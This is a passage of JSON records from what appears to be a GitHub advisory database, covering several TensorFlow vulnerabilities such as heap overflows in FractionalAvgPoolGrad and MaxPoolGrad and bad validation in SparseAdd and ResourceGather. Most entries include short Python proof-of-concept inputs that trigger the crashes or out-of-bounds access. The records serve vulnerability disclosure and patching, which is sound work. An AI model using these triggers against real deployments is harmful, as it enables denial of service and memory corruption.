2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.850Z","updated_at":"2024-11-01T16:56:09.000Z","epss_percentage":0.00015,"epss_percentile":0.018},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTZmODktOGo1NC0yOXhm","url":"https://github.com/advisories/GHSA-6f89-8j54-29xf","title":"Heap buffer overflow in `FractionalAvgPoolGrad`","description":"### Impact\nThe implementation of `tf.raw_ops.FractionalAvgPoolGrad` is vulnerable to a heap buffer overflow:\n  \n```python\nimport tensorflow as tf\n\norig_input_tensor_shape = tf.constant([1, 3, 2, 3], shape=[4], dtype=tf.int64)\nout_backprop = tf.constant([2], shape=[1, 1, 1, 1], dtype=tf.int64)\nrow_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)\ncol_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)\n\n\ntf.raw_ops.FractionalAvgPoolGrad(\n  orig_input_tensor_shape=orig_input_tensor_shape, out_backprop=out_backprop,\n  row_pooling_sequence=row_pooling_sequence,\n  col_pooling_sequence=col_pooling_sequence, overlapping=False)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/dcba796a28364d6d7f003f6fe733d82726dda713/tensorflow/core/kernels/fractional_avg_pool_op.cc#L216) fails to validate that the pooling sequence arguments have enough elements as required by the `out_backprop` tensor shape.\n\n### Patches\nWe have patched the issue in GitHub commit [12c727cee857fa19be717f336943d95fca4ffe4f](https://github.com/tensorflow/tensorflow/commit/12c727cee857fa19be717f336943d95fca4ffe4f).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:26:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-6f89-8j54-29xf","https://nvd.nist.gov/vuln/detail/CVE-2021-29578","https://github.com/tensorflow/tensorflow/commit/12c727cee857fa19be717f336943d95fca4ffe4f","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-506.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-704.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-215.yaml","https://github.com/advisories/GHSA-6f89-8j54-29xf"],"source_kind":"github","identifiers":["GHSA-6f89-8j54-29xf","CVE-2021-29578"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.019Z","updated_at":"2024-11-01T17:12:19.000Z","epss_percentage":0.00018,"epss_percentile":0.03034},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTc5ZnYtOTg2NS00cWN2","url":"https://github.com/advisories/GHSA-79fv-9865-4qcv","title":"Heap buffer overflow in `MaxPoolGrad`","description":"### Impact\nThe implementation of `tf.raw_ops.MaxPoolGrad` is vulnerable to a heap buffer overflow:\n  \n```python\nimport tensorflow as tf\n\norig_input = tf.constant([0.0], shape=[1, 1, 1, 1], dtype=tf.float32)\norig_output = tf.constant([0.0], shape=[1, 1, 1, 1], dtype=tf.float32)\ngrad = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)\nksize = [1, 1, 1, 1] \nstrides = [1, 1, 1, 1]\npadding = \"SAME\"\n\ntf.raw_ops.MaxPoolGrad(\n  orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,\n  strides=strides, padding=padding, explicit_paddings=[])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/ab1e644b48c82cb71493f4362b4dd38f4577a1cf/tensorflow/core/kernels/maxpooling_op.cc#L194-L203) fails to validate that indices used to access elements of input/output arrays are valid:\n\n```cc\nfor (int index = out_start; index \u003c out_end; ++index) {\n  int input_backprop_index = out_arg_max_flat(index);\n  FastBoundsCheck(input_backprop_index - in_start, in_end - in_start);\n  input_backprop_flat(input_backprop_index) += out_backprop_flat(index);\n}\n```\n\nWhereas accesses to `input_backprop_flat` are guarded by `FastBoundsCheck`, the indexing in `out_backprop_flat` can result in OOB access.\n\n### Patches\nWe have patched the issue in GitHub commit [a74768f8e4efbda4def9f16ee7e13cf3922ac5f7](https://github.com/tensorflow/tensorflow/commit/a74768f8e4efbda4def9f16ee7e13cf3922ac5f7).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:26:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-79fv-9865-4qcv","https://nvd.nist.gov/vuln/detail/CVE-2021-29579","https://github.com/tensorflow/tensorflow/commit/a74768f8e4efbda4def9f16ee7e13cf3922ac5f7","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-507.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-705.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-216.yaml","https://github.com/advisories/GHSA-79fv-9865-4qcv"],"source_kind":"github","identifiers":["GHSA-79fv-9865-4qcv","CVE-2021-29579"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.028Z","updated_at":"2024-11-01T17:12:55.000Z","epss_percentage":0.00018,"epss_percentile":0.02911},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNqYzctNDl2Mi1qcDY0","url":"https://github.com/advisories/GHSA-cjc7-49v2-jp64","title":"Incomplete validation in `SparseAdd`","description":"### Impact\nIncomplete validation in `SparseAdd` results in allowing attackers to exploit undefined behavior (dereferencing null pointers) as well as write outside of bounds of heap allocated data:\n\n```python\nimport tensorflow as tf\n\na_indices = tf.zeros([10, 97], dtype=tf.int64)\na_values = tf.zeros([10], dtype=tf.int64)\na_shape = tf.zeros([0], dtype=tf.int64)\n\nb_indices = tf.zeros([0, 0], dtype=tf.int64)\nb_values = tf.zeros([0], dtype=tf.int64)\nb_shape = tf.zeros([0], dtype=tf.int64)\n  \nthresh = 0\n\ntf.raw_ops.SparseAdd(a_indices=a_indices,\n                    a_values=a_values,\n                    a_shape=a_shape,\n                    b_indices=b_indices,\n                    b_values=b_values,\n                    b_shape=b_shape,\n                    thresh=thresh)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/656e7673b14acd7835dc778867f84916c6d1cac2/tensorflow/core/kernels/sparse_add_op.cc) has a large set of validation for the two sparse tensor inputs (6 tensors in total), but does not validate that the tensors are not empty or that the second dimension of `*_indices` matches the size of corresponding `*_shape`. This allows attackers to send tensor triples that represent invalid sparse tensors to abuse code assumptions that are not protected by validation.\n\n### Patches\nWe have patched the issue in GitHub commit [6fd02f44810754ae7481838b6a67c5df7f909ca3](https://github.com/tensorflow/tensorflow/commit/6fd02f44810754ae7481838b6a67c5df7f909ca3) followed by GitHub commit  [41727ff06111117bdf86b37db198217fd7a143cc](https://github.com/tensorflow/tensorflow/commit/41727ff06111117bdf86b37db198217fd7a143cc).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-05-21T14:28:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cjc7-49v2-jp64","https://nvd.nist.gov/vuln/detail/CVE-2021-29609","https://github.com/tensorflow/tensorflow/commit/41727ff06111117bdf86b37db198217fd7a143cc","https://github.com/tensorflow/tensorflow/commit/6fd02f44810754ae7481838b6a67c5df7f909ca3","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-537.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-735.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-246.yaml","https://github.com/advisories/GHSA-cjc7-49v2-jp64"],"source_kind":"github","identifiers":["GHSA-cjc7-49v2-jp64","CVE-2021-29609"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":28.233190510605887,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.405Z","updated_at":"2024-11-13T16:19:58.000Z","epss_percentage":0.00048,"epss_percentile":0.14448},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTlycGMtNXY5cS01cjdm","url":"https://github.com/advisories/GHSA-9rpc-5v9q-5r7f","title":"Incomplete validation in `SparseReshape`","description":"### Impact\nIncomplete validation in `SparseReshape` results in a denial of service based on a `CHECK`-failure.\n\n```python\nimport tensorflow as tf\n\ninput_indices = tf.constant(41, shape=[1, 1], dtype=tf.int64)\ninput_shape = tf.zeros([11], dtype=tf.int64)\nnew_shape = tf.zeros([1], dtype=tf.int64)\n\ntf.raw_ops.SparseReshape(input_indices=input_indices,\n    input_shape=input_shape,\n    new_shape=new_shape)\n``` \n    \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/e87b51ce05c3eb172065a6ea5f48415854223285/tensorflow/core/kernels/sparse_reshape_op.cc#L40) has no validation that the input arguments specify a valid sparse tensor.\n\n### Patches \nWe have patched the issue in GitHub commit [1d04d7d93f4ed3854abf75d6b712d72c3f70d6b6](https://github.com/tensorflow/tensorflow/commit/1d04d7d93f4ed3854abf75d6b712d72c3f70d6b6).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 and TensorFlow 2.3.3, as these are the only affected versions.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution \nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:28:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-9rpc-5v9q-5r7f","https://nvd.nist.gov/vuln/detail/CVE-2021-29611","https://github.com/tensorflow/tensorflow/commit/1d04d7d93f4ed3854abf75d6b712d72c3f70d6b6","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-539.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-737.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-248.yaml","https://github.com/advisories/GHSA-9rpc-5v9q-5r7f"],"source_kind":"github","identifiers":["GHSA-9rpc-5v9q-5r7f","CVE-2021-29611"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.433Z","updated_at":"2024-11-13T16:22:28.000Z","epss_percentage":0.00015,"epss_percentile":0.018},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTdmdngtM2pmYy0yY3Bj","url":"https://github.com/advisories/GHSA-7fvx-3jfc-2cpc","title":"Heap OOB in `ResourceScatterUpdate`","description":"### Impact\nAn attacker can trigger a read from outside of bounds of heap allocated data by sending invalid arguments to `tf.raw_ops.ResourceScatterUpdate`:\n\n```python\nimport tensorflow as tf\n\nv = tf.Variable([b'vvv'])\ntf.raw_ops.ResourceScatterUpdate(\n  resource=v.handle,\n  indices=[0],\n  updates=['1', '2', '3', '4', '5'])\n```\n  \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/resource_variable_ops.cc#L919-L923) has an incomplete validation of the relationship between the shapes of `indices` and `updates`: instead of checking that the shape of `indices` is a prefix of the shape of `updates` (so that broadcasting can happen), code only checks that the number of elements in these two tensors are in a divisibility relationship.\n\n### Patches \nWe have patched the issue in GitHub commit [01cff3f986259d661103412a20745928c727326f](https://github.com/tensorflow/tensorflow/commit/01cff3f986259d661103412a20745928c727326f).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n    \n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n    \n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-08-25T14:42:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-7fvx-3jfc-2cpc","https://nvd.nist.gov/vuln/detail/CVE-2021-37655","https://github.com/tensorflow/tensorflow/commit/01cff3f986259d661103412a20745928c727326f","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-568.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-766.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-277.yaml","https://github.com/advisories/GHSA-7fvx-3jfc-2cpc"],"source_kind":"github","identifiers":["GHSA-7fvx-3jfc-2cpc","CVE-2021-37655"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":34.0745402714209,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:49.712Z","updated_at":"2024-11-13T17:28:44.000Z","epss_percentage":0.00014,"epss_percentile":0.01485},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTJyOHAtZmczYy13Y2o0","url":"https://github.com/advisories/GHSA-2r8p-fg3c-wcj4","title":"Heap OOB and CHECK fail in `ResourceGather`","description":"### Impact\nAn attacker can trigger a crash via a `CHECK`-fail in debug builds of TensorFlow using `tf.raw_ops.ResourceGather` or a read from outside the bounds of heap allocated data in the same API in a release build:\n\n```python\nimport tensorflow as tf\n\ntensor = tf.constant(value=[[1,2],[3,4],[5,6]],shape=(3,2),dtype=tf.uint32)\nv = tf.Variable(tensor)\ntf.raw_ops.ResourceGather(\n  resource=v.handle,\n  indices=[0],\n  dtype=tf.uint32,\n  batch_dims=10,\n  validate_indices=False)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/resource_variable_ops.cc#L660-L668) does not check that the `batch_dims` value that the user supplies is less than the rank of the input tensor.\n\nSince the implementation uses several for loops over the dimensions of `tensor`, this results in reading data from outside the bounds of heap allocated buffer backing the tensor:\n\n```cc\n    // batch_dims_ = \u003e params.dims() (10 \u003e 2)\n    for (int i = 0; i \u003c batch_dims_; ++i) {\n      result_shape.AddDim(params.dim_size(i));\n    }\n    for (int i = batch_dims_; i \u003c indices.dims(); ++i) {\n      result_shape.AddDim(indices.dim_size(i));\n    }\n    for (int i = batch_dims_ + 1; i \u003c params.dims(); ++i) {\n      result_shape.AddDim(params.dim_size(i));\n    }\n```\n\nIn debug mode, `.dim_size(i)` validates that the argument is less than `.dims()` using a `DCHECK`. But the `DCHECK` is a no-op in release builds.\n\n### Patches\nWe have patched the issue in GitHub commit [bc9c546ce7015c57c2f15c168b3d9201de679a1d](https://github.com/tensorflow/tensorflow/commit/bc9c546ce7015c57c2f15c168b3d9201de679a1d).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-08-25T14:43:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-2r8p-fg3c-wcj4","https://nvd.nist.gov/vuln/detail/CVE-2021-37654","https://github.com/tensorflow/tensorflow/commit/bc9c546ce7015c57c2f15c168b3d9201de679a1d","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-567.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-765.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-276.yaml","https://github.com/advisories/GHSA-2r8p-fg3c-wcj4"],"source_kind":"github","identifiers":["GHSA-2r8p-fg3c-wcj4","CVE-2021-37654"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":34.0745402714209,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:49.741Z","updated_at":"2024-11-13T17:28:12.000Z","epss_percentage":0.00014,"epss_percentile":0.01485},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXd2anctcDlmNS12cTI4","url":"https://github.com/advisories/GHSA-wvjw-p9f5-vq28","title":"Segfault in `tf.raw_ops.SparseCountSparseOutput`","description":"### Impact\nPassing invalid arguments (e.g., discovered via fuzzing) to `tf.raw_ops.SparseCountSparseOutput` results in segfault.\n\n### Patches\nWe have patched the issue in GitHub commit [82e6203221865de4008445b13c69b6826d2b28d9](https://github.com/tensorflow/tensorflow/commit/82e6203221865de4008445b13c69b6826d2b28d9).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:29:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-wvjw-p9f5-vq28","https://nvd.nist.gov/vuln/detail/CVE-2021-29619","https://github.com/tensorflow/tensorflow/commit/82e6203221865de4008445b13c69b6826d2b28d9","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-547.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-745.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-256.yaml","https://github.com/advisories/GHSA-wvjw-p9f5-vq28"],"source_kind":"github","identifiers":["GHSA-wvjw-p9f5-vq28","CVE-2021-29619"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.564Z","updated_at":"2024-11-13T16:30:05.000Z","epss_percentage":0.00015,"epss_percentile":0.018},{"uuid":"GSA_kwCzR0hTQS02MjdxLWcyOTMtNDlxN80ovQ","url":"https://github.com/advisories/GHSA-627q-g293-49q7","title":"Abort caused by allocating a vector that is too large in Tensorflow","description":"### Impact\nDuring shape inference, TensorFlow can [allocate a large vector](https://github.com/tensorflow/tensorflow/blob/a1320ec1eac186da1d03f033109191f715b2b130/tensorflow/core/framework/shape_inference.cc#L788-L790) based on a value from a tensor controlled by the user:\n\n```cc\n  const auto num_dims = Value(shape_dim);\n  std::vector\u003cDimensionHandle\u003e dims;\n  dims.reserve(num_dims);\n``` \n  